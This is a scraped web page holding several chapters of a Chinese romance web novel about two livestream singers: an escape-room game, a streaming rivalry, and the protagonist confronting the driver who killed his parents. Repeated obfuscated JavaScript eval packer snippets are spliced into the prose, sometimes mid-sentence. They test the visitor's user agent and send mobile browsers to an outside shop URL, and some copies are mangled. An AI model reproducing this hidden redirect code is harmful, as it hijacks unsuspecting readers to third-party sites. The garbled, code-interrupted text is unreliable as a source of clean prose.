;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483935|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一般密室没什么光亮的时候,唯一有亮光的屋子就是走剧情的地点。 闵谌七拐八拐,不疾不徐地走着,不料他找到的唯一光源并不是过剧情的地点,而是小女孩手中的电棍。 闵谌:“……” 小女孩:“……” 闵谌挥手打招呼:“嗨~” 小女孩:“呀啊——” 闵谌一动不动站着。 小女孩又叫了声:“呀啊——” 闵谌:“……” “呀——” 闵谌:“打住。” 小女孩歪了歪头。 闵谌:“能告诉我,坐轮椅的先生去哪了吗?” 小女孩摇头。 闵谌点点头,说:“行吧,那你再叫一声。” 小女孩虽不理解,却照做了。 “呀啊——” 闵谌拔腿就跑,跟脚底安装马达似的,瞬间只看见一个狂奔的后脑勺,等小女孩反应过来的时候后脑勺早已消失不见。 直播间: [我以为花儿吓呆了。] [我不行了,花儿跑太快了,头发都在飞。] [谁懂,我以为这孩子在害怕。] [我想知道他俩说了啥。] [老板能不能开声音,我想听听。] [只有我在问六夜竹去哪了吗?] [前面的看看右下角。] 与此同时,李竹正被剧情NPC抱着腿。 李竹无语地看着他,“你不放我可揣了嗷。” 剧情NPC带着虚假的哭腔求道:“哥,就这一次,你让我绑一次成吗?我自从来这上班就没成功把人绑在这里过,求你了哥。” 李竹:“……你撒手。” “我不撒,除非你答应让我绑着。” “你他妈的,放手。” “我不放。” “你放不放?我踹了啊。” “踹吧,踹死我。” 李竹努力压制即将爆发的怒火,笑着点头:“绑,来绑。” 剧情NPC听不出话里威胁的意味:“谢谢哥谢谢哥。” 李竹连人带轮椅被三下五除二绑在一间宿舍里,周围床铺东倒西歪,床单被罩发出一股樟脑丸儿的味道。 接着剧情NPC站在他身后,一只手隔着两个手指头的距离掐着他,边调整位置边道:“哥,得罪了啊。” 李竹动了动脖子:“别动手动脚,我对象会误会。” 剧情NPC叹了口气:“哥,这哪儿有你对象啊,你对象怎么可能看得见,再说了我是男的。” 李竹道:“家夫在场。” 剧情NPC:“?谁?” 另一边,闵谌把所有屋子找了个遍,没看到剧情NPC和李竹。 他眉头紧蹙满脸阴郁,心跳不受控制地急促跳动,不耐烦的情绪开始冒头。 面前就两间屋子没找,他打开门,一股杂乱的臭味扑面而来,就是没看见李竹的影子。 他烦躁地站在原地踹了一脚门框。 原地转一圈后走到最后一间屋子门口,他深吸一口气,但愿李竹在里面,如果李竹不在他真的会发疯。 玩个游戏,竟然把对象弄丢了。 闵谌抱着最后一丝希望推开门。 没有。 什么也没有。 别说人了,轮椅都没见着。 25. 第 25 章 就在耐心快消散之际,他听到了点动静,是什么东西在地上摩擦的声音。 他屏息凝神,想听听声音来源在哪。 又是一声。 声音来源于他右手边。 闵谌放轻脚步慢慢朝声音来源处进,他在一道破旧的木门前停下。 原来这里还有一道隔间。 打开门闵谌傻眼了,李竹被五花大绑,剧情NPC掐着他脖子笑得阴森,“终于来了,你是第一个找到我的人,你答应我一个要求我就放了他。” “不答应。”闵谌说。 “你们要……”剧情NPC以为自己听错了,“你说什么?” 闵谌紧着嗓子道:“你放了他,我就答应你。” 剧情NPC突然绷不住了,“不是哥们,你好歹配合一下呀。” 闵谌道:“要不你把我一起绑了吧,说不定其他两位能帮你。” 剧情NPC思忖片刻,觉得这个提议不错,“行,那你过来我绑一下。” 闵谌听话地双手并拢主动走到剧情NPC面前,于是两人被绑在同一根杆子上,只不过李竹坐着他站着。 李竹用手肘碰了一下他,“为什么不救我?” 闵谌低低道:“我现在想和你多待一会。” 李竹调侃他:“离不开我?” 闵谌抿着唇,少顷道:“是,我离不开你。” 李竹低笑出声,“玩完了回家办点事。” 闵谌没问什么事,说了声“好”。 那点烦躁在看到李竹时就已经消失不见,现在他只想好好跟李竹待着,哪也不去,绑一辈子都行,他想。 剧情NPC蹲在门缝角落不知道在捣鼓什么,只听有人喊了声,“坐轮椅的帅哥,你们在里面吗?” 李竹回道:“在,劳驾救一下。” 剧情NPC闻言立马过来,用一把塑料长刀架在两人脖子上。 飒小姐和粉红哥进来就看到这一幕,两脸懵逼。 飒小姐:“这是咋了?” 李竹动了动手腕,摊开手掌,“我也不知道,躲在这坐了会,就被绑起来了。” 飒小姐转头问闵谌,“你也是?” 闵谌点头:“对。” 飒小姐看这架势,十分上道的问剧情NPC,“是要我们完成什么任务吗?” 剧情NPC道:“我需要你们帮我杀掉那个小女孩,她会把所有人都杀掉,你们的时间不多,要在12点之前尽快完成。” “怎么杀?用什么杀?” “去我的办公室,就在卫生室旁边,里面放着一把桃木剑,用那个杀。” 飒小姐应了声,拉着粉红哥走了。 [卧槽,真的假的?!] [所以这个保安就是院长丈夫?] [小女孩好可怜。] [还好酷姐听了小女孩的故事,不然大家都被瞒过去了。] [这个反转来的太突然了。] [所以,这个保安就是院长丈夫,为了保住小三的孩子用养女当移动血包,院长发现后院长丈夫杀人灭口,卧槽,那也太恐怖了。] 闵谌和李竹到家天已经黑了,没想到一个密室逃脱这么刺激,不过后面他们并没什么参与感,全程被绑在隔间里聊天,剧情NPC也不知道去了哪。 说办事李竹可谓是行动派,闵谌颤着腿下床去厕所,他百思不得其解为什么一个骨裂的人还能这么牛。 出来时看到镜子里的自己,侧脖颈留有一个牙印,嘴红肿得不像样,锁骨上三两个草莓。 盯了好一会,他慢慢抬起手碰了碰那个牙印,不痛,感觉像现在咬上去的,还能摸到牙齿留下的印子。 洗了把脸,闵谌顶着一张羞红的脸出来,李竹抱臂只站在门口,打着石膏的那条腿轻轻点在地上。 李竹盯着他脖颈看,“还挺好看。” “什么?” 李竹点了点自己的脖颈,“这个,好看,喜欢吗?” 闵谌脸上顿时更加火热起来,嘴里嘀咕了句“流氓”同手同脚地绕过李竹。 今天密室逃脱直播人气上涨,李竹得直播稳固人数,把闵谌也一起叫上,两人一路开播。 李竹等直播间人数稳定得差不多后,道:“我们连一下花儿,看看他在干嘛。” 连线申请连了几次都没连上,显示对方在pk,他只能唱歌等闵谌从pk连线中出来。 这边李竹刚开始唱歌,都是粉丝点唱,才唱了一半,一堆莫名其妙的弹幕就涌进了直播间。 [六夜竹你家炸了!] [你还在这唱!你知不知道你被偷家了!] [还唱!你老婆要没了!] [你们谁通知一下他,他老婆被隔壁语音厅的盯上了!] 一首歌结束,李竹问:“什么玩意儿,你老婆才被盯上了。” 弹幕: [你再骂呢?] [不是我说白了,火烧眉毛了还在这反击。] [花儿被隔壁语音厅盯上了,我要说几遍你才能看得见。] 李竹按照弹幕说的,打开直播网页去搜索M.漂亮的花儿直播间,还没点进去就看到闵谌在四人局里,三个隔壁圣堂语音厅的,就闵谌一个名门的。 圣堂语音厅那三个人李竹都认识,曾经一起玩过几局pk。 S.清风:“漂亮花儿,你要不要和我们三个其中一个组搭档?” 闵谌先是愣了一秒,然后摇头道:“不用了,我这边已经有搭档了。” S.清风:“没事啊,你俩组搭档都没见过你们在一块玩,还不如跟我们组,把六夜竹踹了,和我们组。” “不来不了。” 闵谌一直拒绝,连线这十几分钟里都在拒绝,不是摇头就是沉默,清风他们一直围绕着他和李竹组搭档没热度这件事来讲,越到最后闵谌语气听起来都没最初的礼貌了,甚至还带上了点不耐烦,然而清风就跟感觉不到似的,一直提。 弹幕直接炸了。 [????] [他们什么意思?] [我家家产没热度?] [你跟我说竹影摇花没热度?] [这三个人断网了吧。] 闵谌没办法,只能转移话题,“咱们玩一把五分钟的PK吧,玩完这边就扣排去了。” 清风道:“行,玩个人局,一二三罚四,就是最后被前三名奖励,怎么样?” 闵谌点头:“行。” 准备开PK的时候,所有人都没有五分钟的选项,全是十分钟以上,闵谌自己也没有五分钟的PK时间。 李竹一言不发退出直播网页,嘴角一直绷紧,强行挤进闵谌所在的这场pk局。 他一进去语气凉凉道:“在玩什么?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483936|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >S.清风“嚯”了声,“说曹操曹操到。” 闵谌一见到李竹进来,整个人安心了很多,他很怕自己打不过这三个人,最后领着惩罚被强行跟李竹拆搭档。 “哥,准备打pk。” 李竹明知故问:“打多久的?” S.清风笑得挑衅,“打五分钟的竹哥,我们2v2呢,竹哥进来了我们不太好打啊,要不再拉一个人来?” 其他两人附和:“不行咱就再拉一个,打3v3对。” 李竹故意激他们,说:“不用,我跟花儿一组,2v3,敢不敢?” S.清风经不起激,一脸不屑地“哼”了声:“这有什么不敢的,来呗,十分钟、五分钟都可以。” 李竹说:“五分钟,我这儿有。” “行。” 李竹秒开5分钟pk时间,两边关闭麦克风拉票。 李竹没开口,虚拟皮套低着头。 直播间: [神秘人进入直播间。] [神秘人向M.六夜竹送出蓝海×5] [神秘人向M.六夜竹送出玫瑰庄园x10] [???] [这谁家榜一?] [不会还他自己小号吧?] [应该是,没见他一句话不说吗?] [今晚真的不好说,我看直播都冒火。] [六夜竹嘴角都绷成啥样了,他得多气,都开小号给自己刷礼物了。] [我刚去花儿直播间看了一眼,他不仅给自己刷还给花儿刷了五个蓝海。] [孩子气得不轻。] 李竹出手,两人票数直接碾压对面三人,他故意开清风的麦听听。 清风撕心裂肺拉票,奈何票数也上不来多少,这积分就跟拔河比赛似的,被人拉一大截就很难翻拉回来,除非来个大哥或者富婆。 李竹嘴角扯出一声轻笑,“这哥们回去再练几年吧,真情侣不拆ok?直播间清风家粉丝们麻烦转告一下,挖墙脚也要看挖谁的,真情侣都挖,哥们玩不死他。” 清风直播间突然来了一大波人,粉丝从1000猛涨到3000,弹幕基本上都在转发李竹的话。 清风被这波节奏一带,有点慌了。 本来以为六夜竹和漂亮的花儿只是名义上的搭档,不是真正的情侣关系。 他想着自己厅也能吃这波流量,想也没想就刷了几条关于竹影摇花的cp二创,没想到踢到铁板上了。 而且这铁板还硬。 不仅他一个人的直播间,两个队友的直播间也沦陷了。 他手机还在不停地响着,厅管发消息警告他,不要惹事,赶紧跟六夜竹和漂亮的花儿道歉。 六夜竹他们惹不起,靠山是六夜竹的更惹不起,这人出了名的护犊子。 平时直播间嘴同事,同事在外被欺负有事他是真上。 他连忙在直播间说:“我只是开玩笑哈,大家不用当真,网络上做点节目没必要带这波节奏啊大家,我待会就跟竹哥道歉。” 直播间粉丝完全不买账。 [哥们竹影摇花你动得了?] [你再说没热度呢?] [不是很嚣张的拆搭档吗?] [转达六夜竹的意思,你要是敢挖墙脚,哥们玩不死你们圣堂。] [有空别去考古竹影摇花二创,去考古早起六夜竹。] 26. 第 26 章 晚上两人下播,实际上漂亮的花儿是被强制下播的,据说是被六夜竹拎下播的。 在两人不知道的情况下,竹影摇花二创这个词条再次风靡网络。 营销号也在接这波流量。 营销号视频报道:[M.六夜竹亲自承认与M.漂亮的花儿是真情侣,真情侣就是好磕。] 评论区: [实不相瞒,我们大家早知道他俩是真情侣,因为有一次我和我朋友去道观,碰见他们了,还聊了一会。/害羞] [早有猜测哈,他说出来的我们并不震惊。] [俩男的?] [妈妈!我磕的cp是真的!] 与此同时。 闵谌可怜兮兮地被掐着后脖颈,侧着头一边抽噎一边还不忘安慰他哥。 “哥……你别……生气……我疼。” 李竹撩开他汗湿的碎发,手指不断抚摸着他脸颊,温柔沙哑的声音道:“没生气,先忍着。” 闵谌咬着牙,眼眶湿润,很快滚烫的眼泪涌出,晕湿枕头。 …… 李竹腿好的差不多了,要去医院拆石膏,早上闵谌起不来,只能等中午边。 昨晚搞活动搞到凌晨三四点,闵谌哭累了就软趴趴地推着李竹,李竹就俯身去亲他眼睛,以至于每次李竹俯身的时候他就哭得更厉害。 闵谌起来的时候差点滚下床,好在有李竹扶着,不然得摔个四仰八叉。 “轮椅给你坐。”李竹自知理亏,主动让出自己的皇位。 闵谌动一下腿就颤抖得厉害,根本没法迈步。 李竹摸摸鼻子,给轮椅垫了两个柔软的皮垫,弯腰抄起他膝弯把人抱到轮椅上坐着。 李竹亲了他一口,“怎么不说话。” 闵谌睁着圆溜溜的大眼睛看着他。 李竹又亲了一口,“说话。” 闵谌眨了眨眼睛,伸手去揽他脖子,两人呼吸近在咫尺,声音沙哑干涩,“哥。” 李竹应了声,揉了揉闵谌的喉结,又在嘴角碰了碰,心满意足地推着闵谌去吃了两颗消炎药。 总归是他昨晚的错。 但也挺解气,不是欺负闵谌解气,是他惩罚清风几人把语音厅前缀去掉,限时三天,这三天内扣不了排,被发现甚至会被谈话。 他心慈柔软,不想把事做得太绝,更不想去打扰人家正常工作,虽然已经打扰了,那是他们应得的,反正他觉得自己做得挺对。 闵谌应该不会希望他把人弄退网。 昨晚太急,也有些惩罚的意思在情绪里,惩罚闵谌被拉进这种局为什么不走,自己的心情也是心情,没必要顾忌那些不熟悉的人。 闵谌吃完药,看着他已经能正常穿鞋的腿,“哥,腿已经能正常走了吗?” “嗯,晚点陪我去拆石膏。” “好。” 李竹拆石膏时闵谌接到了舅舅的电话,他要回老家一趟,父母的坟墓当初弄得简陋,这段时间老家那边一直下雨,雨水把泥土冲塌了,需要重新选一处墓地安葬。 他一直记得父母是怎么没的,妈妈当时成功救了一个小女孩,不幸的是一辆面包车突然冲出来,爸爸为了救妈妈就冲了上去,可那辆面包车司机不知是慌乱中把油门当刹车踩了还是什么。 三人当场死亡,司机昏迷,几个月后才醒来,并且成了傻子。 这件事就发生在家门口,他就坐在阳台上写作业,无意间抬头,他亲眼目睹自己父母抱着一个陌生小孩被撞成一滩烂泥,当时他才十六岁。 之后他便高烧不退,莫名其妙忘了掉一些事,脑子跟更新了硬件删掉旧硬件似的,记忆一抽一抽的,会在某个夜晚想起,第二天就忘了。 就像一场梦。 但他始终会记得那个面包车司机,就算变成傻子也不可能抹掉他所犯下的罪行。 李竹石膏拆完散漫地走来,站定在闵谌面前,等了一会,毫无反应,他伸手在眼前挥了下,“想什么呢?” 闵谌回神抖了一下,像被他吓了一跳似的,扯着嘴角道:“没什么,再算我扣排时长够了没。” 看闵谌的反应,应当不是扣牌的事,闵谌不说,他就不问,逼太急会令人厌烦。 “肯定是够了的,别担心,大事有哥兜底,小事你可以自己解决,解决不了交给哥。” 闵谌似懂非懂地点点头,“回家还是……” 李竹拿出手机看了下,“回家,明天开始我可能会很忙,晚上才能陪你了。” 闵谌表示理解,“没关系,刚好我明天要回老家一趟。” 李竹问:“去干嘛?” 闵谌扣扣手指,“去看看我父母。” 李竹没多问也没多说,只道:“好,回家,我给你弄点吃的给你补补,晚点给你买票。” “不用。”闵谌拉住李竹的手,五根手指紧紧地抓着,“我可以自己买的,就去两三天。” “好。” 回家的路途中闵谌就已经买好了飞机票,明天一点的票,李竹不放心给他买了点小零食和一个U形靠枕,还有一个小背包,方便装零食和重要证件用的。 买背包的理由是,怕闵谌这一去就不回来了,他无奈又觉得好笑只能让他买。 晚上闵谌睡觉的时候李竹还在忙,忙着跟陈嘉炽沟通一周年需要用到的所有布置和东西,场地目前陈嘉炽已经选好了,不是很大。这其中还有各种用的、玩的、穿的、买了挺多蓝牙麦克风,因为一周年公司所有人都必须来。 公司现在有三千多人,说少也不少,说多也不多,名门门槛挺高的,不是所有会唱歌的能进入名门,至于为什么这么多人挤破脑袋都想进名门,原因只有一个,如果有更好的发展名门不会卡着合同不给解约。 闵谌一大早醒来身旁的人早已消失,就连余温也没留下,可见是有多忙。 他一个人收拾东西,把李竹交代的东西都带上,零食太多他没多带,就带了几包,他自己不太爱吃零食,只有嘴痒的时候才会吃点零食解解痒,衣服就带了一套换洗的,李竹给他买的小包完全能装得下。 收拾完,他才拿出手机看消息,上面有李竹的消息,是早上六点发的。 [麻瓜:我去公司了,今天跟陈家炽跑场地规划,吃的已经弄好了,你起来想吃东西就放微波炉里转一下,别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483937|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空着肚子上飞机,不然回来腿打断。菜刀/] 闵谌笑笑回了个好。 好在李竹弄的不是早餐,就是很平常的家常菜,卖相很不错,味道也很不错。 他又给李竹发了条消息。 [超绝声线:很好吃,等我回来。] 闵谌在飞机上补了一觉,李竹买的U形枕确实舒服,困了歪头就睡,脖子也不觉得酸,回头也给李竹买一个。 他刚下飞机舅舅电话就打来了。 “小谌啊,你到哪了啊?” 闵谌看了眼面前停下来的出租车,“出站口,我马上到家。” “好好好,慢点啊,不急。” “好。” 闵谌坐上出租车,司机师傅抄着一口方言问:“小伙子,你要去哪儿啊?” 闵谌报了舅舅家地址。 他已经很久没回过家了,现在听到方言一股说不上来的亲切感席卷心头。 就好像,常年出门在外的游子,突然回来,遇到老乡就忍不住多说几句,不过,他不怎么会聊天,一般司机师傅几个头他能接的接,接不了就笑笑,好在这个司机师傅不是那种上来就问他是哪的人,只是问他是来玩还是回家,闵谌扯谎说来玩,司机师傅就推荐了几个比较热门的地方。 舅舅家是座小平房,面积不是很大。 他站在老旧的木门前敲了敲门,门内很快传来脚步声。 门刚打开,一个扎着低丸子头的中年妇女愣了下,问道:“你找哪个?” “舅妈,我是小谌。” 舅妈恍然大悟,眼睛不停地上下打量眼前这个帅小伙,“好好好,长高了,看着也有精气神了,你戴个口罩,舅妈都有点认不出来了。” 闵谌扯扯嘴角,“最近有点感冒,怕传染你们,就戴了。” 舅妈连连点头,连忙招呼他进门,“快进来快进来。” “你舅舅去找人看墓地了,也找人算好时间什么的,”舅妈给他倒了杯水,落在他身旁的沙发上,“你舅舅没别的意思,就是作为弟弟,想给姐姐和姐夫找个安逸处待着,怕你以后回来想爸妈,找不到地方,才通知你回来的,我们没有去打扰你的意思。” 闵谌摆手,“没有打扰,我一直都记得舅妈和舅舅的好,有事找我就行,谈不上打扰。” 舅妈“诶”了几声,“好孩子,你......” 舅妈顿了顿,意识到自己接下来的话可能闵谌不爱听,斟酌道:“当年那个司机说是治好了......你舅舅说你回来的时候尽量不要一个人出门。” 闵谌蹙眉,“为什么?” 舅妈低下头,假装扯着裤缝线头,“没什么,就是怕你不太安全,小谌也别怪舅妈多嘴,你还小,你前途大好光明,不能为这种人自毁前途。” 闵谌嘴上说着好,还是不太理解舅妈话里的意思。 是怕他知道那个司机已经好了,上门去□□。 还是怕他知道些别的。 闵谌旁敲侧击也没能从舅妈嘴里问出其他消息,在这点上舅妈和舅舅很像,涉及到他的安全和前途,坏的一个字不会多说,无论怎么问都得不到结果。 27. 第 27 章 不过很快闵谌就知道舅妈的欲言又止。 舅舅得知闵谌回来后买来一大兜子菜回家。 舅舅舅妈多年无子女,待他很好,父母去世过后几乎把他当成自己的孩子来养。 两人在厨房帮忙打下手,时不时探头问闵谌毕业后的情况,他都一一回答,隐瞒了自己与李竹的事。 舅舅舅妈听说过得好便欣慰点头,嘴上重复着:“那就好那就好。” 一家子正其乐融融吃着饭,门外传来砸门声,伴随着一声大舌头,“何启扬,你给老子出来!赔钱!” 餐桌上顿时一阵沉默。 舅妈率先打破沉默,干笑两声,“那个谌谌…你要不先回屋待着吧……” 闵谌摇头:“没事舅妈,我现在有能力,能帮忙一定帮。” 舅妈张了张嘴,想说什么,砸门声又响了。 哐哐哐—— “开门!何启扬!害我丢了工作,你倒好,躲在家里过安生日子!” 眼见越骂越难听,舅舅沉着脸去开门。 门外站着个肥头大耳的男人,手里拿着还未喝完的酒瓶子,脸颊两边通红,像被打了腮红,眼神迷离。 见舅舅出来,他指道:“何启扬,赔钱!” 何启扬伸手揽着酒鬼,低声道:“家里还有孩子在,我们小点声行吗?” 酒鬼宛若听不懂人话,大着舌头继续道:“不行,你今天必须还我钱。” 闵谌站在身后,脑袋微微一偏,看清了这个人是谁。 他瞳孔睁大,不可置信。 这人就是当年父母死亡的罪魁祸首,那个面包车司机。 赵国厉。 他眼睛微微眯起,问道:“我舅舅家欠了你多少钱?” 赵国厉一把推开何启扬来到他面前,身体一晃一晃地,仿佛随时都能摔个跟头。 闵谌嫌弃地往后退了一小步。 赵国厉眼睛上下打量他,从鼻子里“哼”出一声来,道:“欠我精神损失费,还有好几年的住院费,知道我在精神病院怎么过来的么?整天过的……” 闵谌打断他,“说个数。” 赵国厉脏兮兮的手比了个数,“五十万,不过分吧?” 闵谌蹙眉,随即眉头舒展,冷笑一声,“五十万?你当年撞死的那三个人,还记得么?” 赵国厉眼神清明了一瞬,“记得,怎么不记得,妈的,非要冲出来救人,被撞死了怪谁,谁让他们这么有善心,去救那个小女孩,他们三个死了就是活该。” 闵谌握紧拳头,努力压制怒火,咬着牙道:“你一点愧疚心也没有?” 赵国厉笑了起来,“愧疚心?害我坐牢还想让我有愧疚心,做梦去吧。老子当年为了不坐牢,装神经病,还找人托关系去给医生塞钱,让他们帮我,才成功躲过牢狱之灾,我有什么愧疚的?我这辈子不可能坐牢。” 闵谌死死咬紧牙关,“你想死吗?” 赵国厉“哟”了声,歪着头看他,“你个毛都没长齐的娃儿,跟老子牛个什么劲儿?” 闵谌闻言嗤笑一声,松开攥得发白的手,“杀人犯装神经病,现在还主动找上门来的,我还是第一次见。” 赵国厉被酒精熏晕大脑,“赶紧给钱,不给我今晚住你们家不走了。” 何启扬上前去拉赵国厉,吼道:“你别喝了酒就上我们这儿来找事,我们这么多年只想安安稳稳过日子,你为什么非要来打扰我们平静的生活,我姐姐姐夫死的已经够痛苦了,你为什么还要来讹我们?” 舅妈附和道:“就是!我姐姐姐夫是因为你才没的,你还讲出这么丧良心的话!我们已经不追究你任何责任了,为什么就不能让我们好好过日子呢,我们人是老实,兔子急了也会咬人,我告诉你!” 舅妈是个性格温顺的人,平时说话细声细语,这是闵谌第一次见到舅妈这个样子。 看样子二老被逼了很久,而且赵国厉也不是第一次找上门来。 闵谌扭头跟舅妈说:“报警吧舅妈。” 舅妈还在气头上,握紧拳头紧紧抓住衣摆,闻言语气柔软了许多,“诶诶诶,好,我现在就去报警。” 一听要报警,赵国厉想冲进门阻止,奈何闵谌挡在门口,想过去得把人推开。 赵国跌跌撞撞地推了一把闵谌,没推动,他吼道:“滚!” 舅妈还算聪明,躲到房里去报警。 赵国厉又推了一下,还是没推动,他猛地扬起手中的酒瓶子砸在墙上,酒瓶顿时碎了一半,只剩下参差不齐的半身瓶窝在手中。 他指着闵谌:“我再说一遍让开,再不让开我要动手了。” 闵谌道:“这里有监控。” 赵国厉手顿了顿,抬头往墙角看了看,没有,“想唬我?” “那你慌什么?” “我没慌。” 舅妈打完电话出来,手里拿着根棍子,防身用。 见舅妈出来,赵国厉很明显慌了,手指无意识地反复捏紧瓶口,“妈的,我明天还来,你们三个别想跑。” 他扬着瓶子挨个指,眼神凶狠。 正当他要跑的时候,路口冲出个人,戴着口罩帽子,身轻如燕,手脚敏捷地给赵国厉来了个飞踹。 只听“呃”一声。 赵国厉连人带瓶子飞扑在地,瓶子滚了好远,何启扬立刻上前给瓶子补了一脚,让瓶子滚进院子的草丛里。 在口罩人冲出来的一瞬间,闵谌盯着对方的腿。 对方的腿没什么问题。 不是李竹。 没那么多时间去想,他上前给赵国厉来了一套擒拿法,将人按倒在地。 口罩人也冲上来去掰赵国厉的腿。 使劲往后掰的那种。 赵国厉惨叫连连,“呃啊——松手!给我松手!要断了!我的腿!” 口罩人松了一段力道,但没放手。 舅妈被吓到了,缩在门边,舅舅上前帮忙,手脚都被束缚住,很明显没有他的地方,此刻不帮点忙他会很内疚,于是他一屁股坐在赵国厉腰上。 “啊——你大爷的何启扬!” 何启扬道:“你老实等警察来吧你!” 闵谌问何启扬:“有给过他钱吗?” 何启扬犹豫了会,道:“前几年他老来,每次一来就我们不开门就一直敲,隔壁邻居也反应了好几次。你也知道我和你舅妈白天要上班,这人在家门口守一天都不走,一出门几乎拦着不让走,没办法只能给一点打发了。” “给了多少?” “拢共加起来零零散散也有六七万的样子。”何启扬说。 闵谌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483938|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点点头,扭头看向口罩人,“谢谢你,请问你是……” 那人道:“我是…算是何叔叔的…” 何启扬拍了下他,“瞎叫什么,这孩子叫何洋洋,我跟你舅妈收养的孩子,上高一呢。” 何洋洋闭嘴了。 闵谌“哦”了声,“挺好。” 刚开始还以为是李竹,现在的小孩蹿个太快,还以为是成年人,没想到才上高一。 警察来得很快,赵国厉被压着冲上警车,闵谌和何启扬跟着上了警车。 警察局。 舅甥俩坐在询问室,走了大致流程。 警察问什么他们回答什么,整个过程下来,当年车祸案被翻案,手上三条人命,故意谋杀,赵国厉伪造病例单,逃脱罪名,罪不可赦,外加从何启扬一家三口讹钱的罪名,桩桩件件拍在了赵国厉关押年限上。 舅甥俩人连累警察同志们加班,张国建老婆也来了,一把鼻涕一把泪地求闵谌放过赵国厉。 闵谌不理解,“为什么要放过?知道我父母怎么死的么?在我眼前,被你丈夫赵国厉撞死的。” “你丈夫下班一身怨气凭什么喝了酒就要开车撞死人?”闵谌眼睛平静,宛若一潭死水,“杀人犯法不该履行法律责任吗?串通医生伪造病历,不该负法律责任吗?” 赵国厉老婆哭得上气不接下气,感觉下一秒会晕在这里,“求求你了…我们家上有老下有小的,我知道你这么多年不容易,可是你还有亲戚,我们家只靠他一个人来支撑了…” 说着她跪在闵谌面前,俯身去抓闵谌裤脚,“我真的求你了。” 闵谌扯开被抓的那条腿,嫌恶地拍了拍裤脚,“求我还不如求神拜佛,祈祷你丈夫判少一点。” 赵国厉被翻出以前的犯罪记录,加上闵谌父母和那个小女孩,赵国厉疲劳酒驾伪造病历是基本操作,这件事的最后老婆赔偿何启扬八万,不仅从他们身上讹的钱,还有这几年的勒索和破坏,多的算是安抚。 赵国厉判无期徒刑。 这些都是后话。 闵谌深吸一口气走出派出所大门,何启扬早已买好两杯豆浆和小笼包等在门口,他一出来就立马递给他。 “吃点吧,天快亮了。” 闵谌点头,从袋子里拿出一个咬了一口。 总觉得少了点什么,又好像没少。 他拿出手机拍了张派出所门头照,给地址打了个码发到蓝海动态里。 [M.漂亮的花儿:忙完回来直播,不用等。] 发完他才想起来,自己忘了给李竹发消息了,快24小时没联系了,从坐飞机到舅舅家就没怎么碰过手机。 点开手机一看全是李竹的消息。 [麻瓜:落地了吗?] [麻瓜:安全到家了吗?] [麻瓜:?] [麻瓜:坐个飞机把人坐丢了?] [麻瓜:遇到新的人了?你把他带回来我给你俩腾位置呗。] [麻瓜:不回消息我订机票了。] 底下是一张机票的截图,信息那一栏清清楚楚写着李竹的名字和身份证号。 [麻瓜:给我发个定位,我要看看那个男人是谁。] [麻瓜:上飞机了。] 闵谌:“……” 李竹来了。 28. 第 28 章 [超绝声线:你不是要忙一周年的事吗?] 现在凌晨四点四十五分,点进那张截图反复看了眼,又看看时间,去查了下李竹坐的哪班飞机,什么时候降落。 一看时间,只有十分钟就落地了。 从这里出发去机场需要半个小时,况且这个时间段很难打的到车。 闵谌小口地喝着豆浆,还是不放心李竹一个人来,主要是李竹不知道他家在哪,等消息还不如先去接人。 “舅舅你先回去吧,我去接个朋友。” 何启扬“诶”了两声,“朋友来找你玩了啊?” 闵谌笑笑,“是。” 何启扬拍拍他肩膀,“行,那舅舅先回去了,早点回家。” “好。” 何启扬走后他一个人站在原地整车,打了个滴滴。 闵谌到机场时天已经亮了,他坐电梯去出站口,给李竹拍了张出站口的照片发过去。 [超绝声线:我在出站口等你。] 发完他拿出无线耳机戴着,手机里放着今日推荐歌单,还不错,都是很好听他也喜欢的音乐。 “我不知为何,疯狂对你执着,我们之间的故事还不够多。” “这回忆的漩涡,快要把我吞没,求你别离开我。” 听着听着,面前突然站着一个人,背着单肩包,手里拿着手机,手机摄像头被他用手指挡住。 “帅哥,方便留个联系方式吗?” 闵谌抬眼,见来人是李竹后,他眼睛弯成月牙,“哥。” 李竹没应声,继续道:“快说,方不方便留个联系方式,不方便拉出去枪毙。” “方便。” 